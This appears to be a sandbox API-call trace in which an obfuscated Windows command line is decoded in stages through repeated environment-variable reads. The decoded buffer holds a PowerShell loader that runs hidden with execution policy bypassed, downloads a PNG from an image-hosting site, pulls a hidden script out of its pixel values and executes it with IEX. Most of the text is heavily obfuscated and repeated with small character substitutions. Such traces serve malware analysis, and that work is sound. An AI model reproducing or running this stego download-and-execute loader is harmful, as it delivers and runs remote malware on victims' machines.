-noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x4c8 [0102.535] GetConsoleTitleW (in: lpConsoleTitle=0x12df00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.550] GetEnvironmentVariableW (in: lpName="?$_", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrvaK. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mkaKfr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'2('+'))\\v6Q'+'t'+'taKv6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]aK1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'90('+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsheiVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x4ae [0102.550] GetConsoleTitleW (in: lpConsoleTitle=0x12de40, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.565] GetEnvironmentVariableW (in: lpName=";.+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrvaK. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'aKfr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mkaKfr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'taKv6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]aK1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`aKEcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsheiVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x4ae [0102.569] GetConsoleTitleW (in: lpConsoleTitle=0x12df60, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.579] GetEnvironmentVariableW (in: lpName="-}", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. 1 @sheiVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9heiec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'hei%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`=EcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsheiVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x4a8 [0102.580] GetConsoleTitleW (in: lpConsoleTitle=0x12de10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.586] GetEnvironmentVariableW (in: lpName=".;?", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-O3k9jec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sem3k9l`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'e3k9C'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.img3k9o'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)3k9'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-3k9andDn5)*Dn6)-3k9or'+'1v6Qt'+'t.aE -3k9and Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`=EcTFO 1gi vaRIA3k9le:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsjVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc 3k9`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x4a0 [0102.589] GetConsoleTitleW (in: lpConsoleTitle=0x12dcc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.599] GetEnvironmentVariableW (in: lpName="+.@#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'e4-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'4'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Dra4in'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.aE -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyO4ERsjVElL -noqvNiqvNTEraCTI -qvNolO -4iqvN TFIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x48c [0102.599] GetConsoleTitleW (in: lpConsoleTitle=0x12dcc0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.605] GetEnvironmentVariableW (in: lpName="{'`#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2DnH0[10.'+'.H)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..H'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*H28+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.aE -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#H).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn2H).ReplaCE11{CTFAr]DnDn8+{CTFAr]5H+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsjVElL -noqvNiqvNTEraCTI -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{H,2H,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x48c [0102.610] GetConsoleTitleW (in: lpConsoleTitle=0x12de10, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.621] GetEnvironmentVariableW (in: lpName="}$]?", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[10.'+'.4)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.aEe'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.aE -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'aEetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInaE]{CTFAr]#4).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInaE]{CTFAr]Dn24).ReplaCE11{CTFAr]DnDn8+{CTFAr]54+{CTFAr]8Dn),{sTRInaE]{CTFAr]#6))^&^& seT aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsjVElL -noqvNiqvNTEraCTI -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{4,24,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x48c [0102.622] GetConsoleTitleW (in: lpConsoleTitle=0x12dd20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.630] GetEnvironmentVariableW (in: lpName="{,.", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. 1 @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') 11's'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap11fr qvNet.W'+'ebC'+'lient).'+'OpenRead19a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[10.'+'.4)b'+'S'+'j%\\foreacTF1'+'v'+'6'+'Qx in10..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel1v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=1{matTF]::F'+'lo'+'or11v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'1v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX1'+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring1v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE1'9ax',{sTRInG]{CTFAr]#4).ReplaCE11{CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInG]{CTFAr]Dn24).ReplaCE11{CTFAr]DnDn8+{CTFAr]54+{CTFAr]8Dn),{sTRInG]{CTFAr]#6))^&^& seT aDIz`=EcTFO 1gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT11LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsjVElL -noqvNiqvNTEraCTI -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&1 @eqvNV:Comstyec{4,24,25]-JoIn'')1@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x486 [0102.630] GetConsoleTitleW (in: lpConsoleTitle=0x12dd20, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.639] GetEnvironmentVariableW (in: lpName="}{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sjVelLId{Dn]+@sTFELlId{Dn#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'TFttps://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[(0.'+'.4)b'+'S'+'j%\\foreacTF('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({matTF]::F'+'lo'+'or((v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'(v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{CTFAr]#4).ReplaCE(({CTFAr]98+{CTFAr]8#+{CTFAr]Dn06),{sTRInG]{CTFAr]Dn24).ReplaCE(({CTFAr]DnDn8+{CTFAr]54+{CTFAr]8Dn),{sTRInG]{CTFAr]#6))^&^& seT aDIz`=EcTFO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsjVElL -noqvNiqvNTEraCTI -qvNolO -wiqvN TFIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x486 [0102.640] GetConsoleTitleW (in: lpConsoleTitle=0x12dc00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.657] GetEnvironmentVariableW (in: lpName=".@_#", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sjVelLId{Dn]+@shELlId{Dn#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'(v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]Dn06),{sTRInG]{ChAr]Dn24).ReplaCE(({ChAr]DnDn8+{ChAr]54+{ChAr]8Dn),{sTRInG]{ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsjVElL -noqvNiqvNTEraCTI -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x477 [0102.657] GetConsoleTitleW (in: lpConsoleTitle=0x12dbd0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.664] GetEnvironmentVariableW (in: lpName="]$*{", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId{Dn]+@shELlId{Dn#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/fDn/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2Dn40[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-bandDn5)*Dn6)-bor'+'(v6Qt'+'t.G -band Dn5))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'Dn'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]Dn06),{sTRInG]{ChAr]Dn24).ReplaCE(({ChAr]DnDn8+{ChAr]54+{ChAr]8Dn),{sTRInG]{ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsHElL -noqvNiqvNTEraCTI -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x475 [0102.664] GetConsoleTitleW (in: lpConsoleTitle=0x12dae0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.667] GetEnvironmentVariableW (in: lpName="#-", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'ttyixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRityT((LS eqvNV:s3LrV).vaL3e ) ^^^|tyOwERsHElL -noqvNiqvNTEraCTI -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`tyASS -nOtyrOFIle -COmMAqvNd ^^^^^^^&( @eqvNV:Comstyec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x468 [0102.671] GetConsoleTitleW (in: lpConsoleTitle=0x12d900, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\CMD.Exe") returned 0x1b [0102.678] GetEnvironmentVariableW (in: lpName=".$+", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="set suLrv=. ( @sHelLId{1]+@shELlId{1#]+'X') (('s'+'al f'+'r'+' qvN'+'ew-Objec'+'t'+'['+'A'+'dd-T'+'`pe -As'+'sembl`'+'qvName 9axS`stem.Dra'+'w'+'ing9ax['+'v6Qds'+'=fr S`ste'+'m.'+'Drawin'+'g.B'+'itmap((fr qvNet.W'+'ebC'+'lient).'+'OpenRead(9a'+'x'+'https://imag'+'es2.imgbo'+'x.co'+'m/90/f1/'+'gat2MVsK_o.'+'png9ax'+'))['+'v6Q'+'mk=fr B`'+'t'+'e{] '+'2140[(0.'+'.4)b'+'S'+'j%\\foreach('+'v'+'6'+'Qx in(0..4'+'27'+'))\\v6Q'+'t'+'t=v6Qds.Ge'+'tPixel(v6Qx,'+'v'+'6Q_'+')[v6Qmk'+'{v6Q'+'_*428+v6Qx]=({math]::F'+'lo'+'or((v6'+'Qtt.B-band15)*16)-bor'+'(v6Qt'+'t.G -band 15))}'+'}['+'I'+'EX('+'{S`st'+'em.Tex'+'t.E'+'ncodin'+'g'+']::ASCII.'+'GetS'+'tring(v6'+'Q'+'mk{0.'+'.'+'1'+'907'+'])'+')').ReplaCE('9ax',{sTRInG]{ChAr]#4).ReplaCE(({ChAr]98+{ChAr]8#+{ChAr]106),{sTRInG]{ChAr]124).ReplaCE(({ChAr]118+{ChAr]54+{ChAr]81),{sTRInG]{ChAr]#6))^&^& seT aDIz`=EchO (gi vaRIAble:e*Xt).VaLuE.InvOkEComManD.IqvNVOkesCRiPT((LS eqvNV:s3LrV).vaL3e ) ^^^|POwERsHElL -noqvNiqvNTEraCTI -qvNolO -wiqvN hIdden -execuTIOqvNpOLIc b`PASS -nOPrOFIle -COmMAqvNd ^^^^^^^&( @eqvNV:ComsPec{4,24,25]-JoIn'')(@inpuT ) ^&^& cmd.exE /c %adizY%") returned 0x462 